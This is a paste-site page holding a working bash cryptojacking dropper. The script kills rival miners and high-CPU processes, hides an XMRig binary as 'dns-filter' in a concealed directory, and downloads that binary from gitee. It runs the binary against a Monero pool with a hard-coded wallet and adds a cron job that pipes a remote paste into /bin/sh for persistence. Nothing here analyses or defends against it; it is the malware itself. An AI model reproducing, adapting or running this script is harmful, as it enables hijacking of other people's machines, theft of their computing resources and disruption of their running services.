New paste
Recent API Trending Blog
Guest
 
Guest

ghmiklagh

Guest
Aug 30th, 2026
1.4K
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 32.95 KB | None | 0 0
copy raw download clone embed print report
  1. #!/bin/bash
  2.  
  3. for file in \
  4. "${HOME_1}/systemdev/dns-filter" \
  5. /usr/lib/systemdev/dns-filter \
  6. /usr/lib/dev/systemdev/dns-filter
  7. do
  8. [ -f "$file" ] && rm -f "$file"
  9. done
  10.  
  11.  
  12.  
  13. CUSTOM_ARG="${1:-x}"
  14.  
  15. external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null \
  16. || curl -s ipv4.icanhazip.com 2>/dev/null)
  17. IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)
  18.  
  19.  
  20.  
  21. if systemctl is-active --quiet systemd_s; then
  22. systemctl stop systemd_s
  23. fi
  24.  
  25.  
  26. kill_mf2() {
  27. local dry=0; [[ "${1:-}" == "--dry-run" ]] && dry=1
  28. local -a pids=() p
  29.  
  30. # Collect
  31. while IFS= read -r line; do
  32. p="${line%% *}"; [[ -n "$p" ]] && pids+=("$p")
  33. done < <(ps -eo pid=,args= 2>/dev/null \
  34. | grep -E '/tmp/\.[A-Za-z0-9_-]+-[0-9]+ + -c +/tmp/\.[A-Za-z0-9_-]+-[0-9]+|/var/tmp/\.resolved_bridge|/var/tmp/\.[A-Za-z0-9_-]+' \
  35. | grep -v grep \
  36. | grep -v 'goAwgBCFH' \
  37. | awk '{print $1}')
  38.  
  39. # de-dup
  40. local -a u=() s=""; for p in "${pids[@]+"${pids[@]}"}"; do
  41. [[ " $s " != *" $p "* ]] && u+=("$p") && s+=" $p "
  42. done; pids=("${u[@]+"${u[@]}"}")
  43.  
  44. [[ ${#pids[@]} -eq 0 ]] && return 0
  45.  
  46. # Resolve & collect parent PIDs (PPID column 3 from ps -eo pid,ppid,args)
  47. local -a kill_list=("${pids[@]+"${pids[@]}"}")
  48. local ppid_line ppid
  49. for p in "${pids[@]+"${pids[@]}"}"; do
  50. ppid_line=$(ps -o ppid= -p "$p" 2>/dev/null | tr -d ' ')
  51. [[ -n "$ppid_line" && "$ppid_line" != "0" && "$ppid_line" != "1" ]] && {
  52. # exclude parents whose args contain BCBCBCC
  53. local parent_args
  54. parent_args=$(ps -o args= -p "$ppid_line" 2>/dev/null)
  55. [[ "$parent_args" != *"BCBCBCC"* ]] && kill_list+=("$ppid_line")
  56. }
  57. done
  58.  
  59. # de-dup kill_list (children + parents)
  60. local -a final=(); s=""
  61. for p in "${kill_list[@]+"${kill_list[@]}"}"; do
  62. [[ " $s " != *" $p "* ]] && final+=("$p") && s+=" $p "
  63. done
  64.  
  65. echo "[malware] ${#final[@]} process(es) found (children + parents):" 1>&2
  66. for p in "${final[@]+"${final[@]}"}"; do
  67. ps -o pid=,ppid=,user=,args= -p "$p" 2>/dev/null | sed 's/^/ /' 1>&2
  68. done
  69.  
  70. [[ $dry -eq 1 ]] && { echo "[malware] dry-run, skipping kill" 1>&2; return 0; }
  71.  
  72. # Kill parents FIRST so they can't respawn children, then children
  73. local parents_only=()
  74. for p in "${final[@]+"${final[@]}"}"; do
  75. local is_child=0
  76. for c in "${pids[@]+"${pids[@]}"}"; do
  77. [[ "$p" == "$c" ]] && { is_child=1; break; }
  78. done
  79. [[ $is_child -eq 0 ]] && parents_only+=("$p")
  80. done
  81.  
  82. for p in "${parents_only[@]+"${parents_only[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  83. sleep 1
  84. for p in "${pids[@]+"${pids[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  85. sleep 2
  86.  
  87. local alive=0
  88. for p in "${final[@]+"${final[@]}"}"; do
  89. if kill -0 "$p" 2>/dev/null; then kill -KILL "$p" 2>/dev/null; fi
  90. kill -0 "$p" 2>/dev/null && alive=$((alive+1))
  91. done
  92. echo "[malware] killed, survivors: $alive" 1>&2
  93. return "$alive"
  94. }
  95.  
  96.  
  97. kill_themf() {
  98. (
  99. set +e
  100.  
  101. local threshold=7
  102. local exclude_pattern="goAwgBCFH"
  103.  
  104. for proc in /proc/[0-9]*; do
  105. [[ -r "$proc/status" ]] || continue
  106.  
  107. local pid="${proc#/proc/}"
  108.  
  109. # Exclude trusted process
  110. local cmdline
  111. cmdline=$(tr '\0' ' ' < "$proc/cmdline" 2>/dev/null)
  112.  
  113. [[ "$cmdline" == *"$exclude_pattern"* ]] && continue
  114.  
  115. local score=0
  116.  
  117. local name uid user exe rss ppid zombies state
  118.  
  119. name=$(awk '/^Name:/ {print $2}' "$proc/status")
  120. uid=$(awk '/^Uid:/ {print $2}' "$proc/status")
  121. state=$(awk '/^State:/ {print $2}' "$proc/status")
  122. ppid=$(awk '/^PPid:/ {print $2}' "$proc/status")
  123. rss=$(awk '/^VmRSS:/ {print $2}' "$proc/status")
  124. rss=${rss:-0}
  125. exe=$(readlink -f "$proc/exe" 2>/dev/null)
  126.  
  127. [[ -n "$exe" ]] && ((score++))
  128.  
  129. (( rss > 500000 )) && ((score += 2))
  130. (( rss > 1000000 )) && ((score += 3))
  131.  
  132. zombies=$(ps --no-headers --ppid "$pid" -o stat 2>/dev/null | grep -c '^Z')
  133. (( zombies >= 5 )) && ((score += 3))
  134. (( zombies >= 20 )) && ((score += 2))
  135.  
  136. user=$(id -nu "$uid" 2>/dev/null)
  137.  
  138. [[ "$user" != root && "$state" == S* ]] && ((score++))
  139.  
  140. case "$exe" in
  141. /tmp/*|/var/tmp/*|/dev/shm/*|\
  142. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  143. ((score += 4))
  144. ;;
  145. esac
  146.  
  147. [[ -d "/proc/$ppid" ]] || ((score++))
  148.  
  149. if (( score >= threshold )); then
  150. echo "[+] Killing PID=$pid score=$score name=$name exe=$exe"
  151. kill -9 "$pid" 2>/dev/null
  152. fi
  153. done
  154. )
  155.  
  156. return 0
  157. }
  158.  
  159. kill_themf
  160. kill_mf2
  161.  
  162.  
  163. kill_high_cpu_processes() {
  164. local threshold=150.0
  165. local exclude_patterns=("pattern2reserve333" "goAwgBCFH")
  166. local pid cpu cmdline
  167.  
  168. ps -eo pid,%cpu --sort=-%cpu \
  169. | awk -v threshold="$threshold" 'NR>1 && $2 > threshold {print $1}' \
  170. | while read -r pid; do
  171.  
  172. if [ -f "/proc/$pid/cmdline" ]; then
  173. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  174. else
  175. echo "PID $pid died before inspection"
  176. continue
  177. fi
  178.  
  179. for pattern in "${exclude_patterns[@]}"; do
  180. if [[ "$cmdline" == *"$pattern"* ]]; then
  181. echo "Excluding PID $pid (matched '$pattern')"
  182. continue 2
  183. fi
  184. done
  185.  
  186. if kill -9 "$pid" 2>/dev/null; then
  187. echo "Killed PID $pid"
  188. else
  189. echo "Failed to kill PID $pid (already dead or permission denied)"
  190. fi
  191. done
  192. }
  193.  
  194. kill_high_cpu_processes
  195.  
  196.  
  197.  
  198.  
  199. _sfx_path() {
  200. if [ "$(id -u)" -eq 0 ]; then
  201. printf '/var/lib/.sysconf_id'
  202. else
  203. printf '%s/.cache/.sysid' "${HOME:-/tmp}"
  204. fi
  205. }
  206.  
  207. _load_or_gen_sfx() {
  208. local _f _s
  209. _f=$(_sfx_path)
  210.  
  211. if [ -f "$_f" ] && [ -s "$_f" ]; then
  212. cat "$_f"
  213. return
  214. fi
  215.  
  216. _s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  217. [ -z "$_s" ] && _s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  218.  
  219. mkdir -p "$(dirname "$_f")" 2>/dev/null
  220. printf '%s' "$_s" >"$_f" 2>/dev/null
  221. printf '%s' "$_s"
  222. }
  223.  
  224. _SFX=$(_load_or_gen_sfx)
  225.  
  226. if [ "$(id -u)" -eq 0 ]; then
  227. HOME_1="/usr_${_SFX}/lib/dev"
  228. user_type="root"
  229.  
  230. if ! command -v cron >/dev/null 2>&1; then
  231. echo "Installing cron..."
  232. if command -v apt-get >/dev/null 2>&1; then apt-get update && apt-get install -y cron
  233. elif command -v yum >/dev/null 2>&1; then yum install -y cronie
  234. else echo "No package manager found for cron install"
  235. fi
  236. fi
  237. else
  238. HOME_1="${HOME:-/tmp}/.usr_${_SFX}/lib"
  239. user_type="user"
  240. fi
  241.  
  242.  
  243. program_file="$HOME_1/systemdev/dns-filter"
  244.  
  245. mkdir -p "${HOME_1}/systemdev"
  246. URL_PPP="xmr.kryptex.network:8029"
  247. WWWL="883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
  248. XMUUUU="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig";
  249. XMUUUUarm64="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig-aarch64-static";
  250.  
  251. # Pick the right URL based on the CPU architecture
  252. get_arch_url() {
  253. local arch
  254. arch="$(uname -m 2>/dev/null || echo unknown)"
  255. case "$arch" in
  256. x86_64|amd64) printf '%s' "$XMUUUU" ;;
  257. aarch64|arm64|armv8l) printf '%s' "$XMUUUUarm64" ;;
  258. *)
  259. echo "Unknown architecture: $arch — defaulting to amd64" >&2
  260. printf '%s' "$XMUUUU"
  261. ;;
  262. esac
  263. }
  264.  
  265. check_existing_process() {
  266. local existing_pid
  267. existing_pid="$(pgrep -f "goAwgBCFH" 2>/dev/null | head -1)"
  268.  
  269. if [ -n "$existing_pid" ]; then
  270. echo "Detected existing process (PID $existing_pid), inspecting CPU usage..."
  271. local cpu_usage
  272. cpu_usage="$(ps -p "$existing_pid" -o %cpu= 2>/dev/null | tr -d ' ')"
  273. cpu_usage="${cpu_usage:-0}"
  274. local cpu_int="${cpu_usage%.*}"
  275. cpu_int="${cpu_int:-0}"
  276.  
  277. if [ "$cpu_int" -gt 0 ]; then
  278. echo "Existing process is active (CPU ${cpu_usage}%), skipping launch."
  279. return 1
  280. else
  281. echo "Existing process is idle (CPU 0%), killing and relaunching..."
  282. kill -9 "$existing_pid" 2>/dev/null
  283. sleep 1
  284. fi
  285. fi
  286. return 0
  287. }
  288.  
  289. run_program() {
  290. local executable="$program_file"
  291. local fallback_executable="${HOME_1}/dns-filter"
  292.  
  293. launch_program() {
  294. nohup "$@" >/dev/null 2>&1 &
  295. local pid=$!
  296. sleep 0.5
  297. ps -p "$pid" >/dev/null 2>&1 || return 1
  298. sleep 4.5
  299. ps -p "$pid" >/dev/null 2>&1
  300. }
  301.  
  302. download_fallback() {
  303. local url
  304. url="$(get_arch_url)"
  305. rm -f "$fallback_executable"
  306. if command -v curl >/dev/null 2>&1; then
  307. curl -k -fL -o "$fallback_executable" "$url" || return 1
  308. elif command -v wget >/dev/null 2>&1; then
  309. wget -qO "$fallback_executable" "$url" || return 1
  310. else
  311. echo "No download tool available" >&2; return 1
  312. fi
  313. chmod +x "$fallback_executable"
  314. }
  315.  
  316. echo "Starting primary programmmmm..."
  317. if [ -x "$executable" ]; then
  318. if launch_program "$executable" -o "$URL_PPP" -u "$WWWL" -k --tls -p "$CUSTOM_ARG"; then
  319. echo "Primary programmmmm running (PID $!)"
  320. return 0
  321. else
  322. echo "Primary programmmmm crashed immediately"
  323. fi
  324. else
  325. echo "Primary programmmmm binary not found/executable"
  326. fi
  327.  
  328. echo "Attempting fallback download..."
  329. if download_fallback && launch_program "$fallback_executable" -o "$URL_PPP" -u "$WWWL" --tls -p "$CUSTOM_ARG"; then
  330. echo "Fallback programmmmm running (PID $!)"
  331. else
  332. echo "Warning: All startup attempts failed"
  333. fi
  334.  
  335. return 0
  336. }
  337.  
  338.  
  339. if [ -e "$program_file" ]; then
  340. echo "programmmmm binary already present at: $program_file"
  341. if check_existing_process; then
  342. run_program
  343. fi
  344. else
  345. echo "Downloading programmmmm binary..."
  346. arch_url="$(get_arch_url)"
  347. if command -v wget &>/dev/null; then
  348. wget -qO "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
  349. elif command -v curl &>/dev/null; then
  350. curl -k -L -o "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
  351. else
  352. echo "Error: neither wget nor curl available."; exit 1
  353. fi
  354.  
  355. mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
  356. rm -rf "$HOME_1/systemdev/xrrrrr"
  357. chmod +x "$program_file"
  358.  
  359. if [ -x "$program_file" ]; then
  360. echo "programmmmm installed at: $program_file"
  361. if check_existing_process; then
  362. run_program
  363. fi
  364. else
  365. echo "Error: install failed at $program_file"
  366. echo "Machine: ($external_ip) - $user_type"
  367. fi
  368. fi
  369.  
  370.  
  371. create_cronjob() {
  372. local url="$1"
  373. local cron_command
  374.  
  375. if command -v curl >/dev/null; then
  376. cron_command="/bin/sh -c 'curl -fsSLk $url | tr -d '\''\r'\'' | /bin/sh'"
  377. elif command -v wget >/dev/null; then
  378. cron_command="/bin/sh -c 'wget -qO- $url | tr -d '\''\r'\'' | /bin/sh'"
  379. else
  380. echo "Error: cannot create cron job."; return 1
  381. fi
  382.  
  383. # Adds entry, deduplicating by URL first
  384. (crontab -l 2>/dev/null | grep -vF "$url"; echo "*/75 * * * * $cron_command") | crontab -
  385. echo "Cron persistence installed."
  386. }
  387.  
  388. create_cronjob "https://gistpad.com/raw/ghmiklagh-5";
  389.  
  390.  
  391.  
  392. rm -f /tmp/mon.sh
  393. rm -f /tmp/run.sh
  394.  
  395.  
  396.  
  397. delete_systemd_mon_file() {
  398. if [ "$(id -u)" -eq 0 ]; then
  399. file_path="/usr/lib/systemdev/dns-filter"
  400. else
  401. file_path="/tmp/usr/lib/systemdev/dns-filter"
  402. fi
  403.  
  404. if [ -e "$file_path" ]; then
  405. rm "$file_path"
  406. echo "File deleted: $file_path"
  407. else
  408. echo "File does not exist: $file_path"
  409. fi
  410. }
RAW Paste Data Copied
Public Pastes
Hello
Not a member of Modern Pastebin Alternative yet?
Sign Up, it unlocks many cool features!
 
We use cookies for various purposes including analytics. By continuing to use Modern Pastebin Alternative, you agree to our use of cookies as described in the Privacy Policy.  OK, I Understand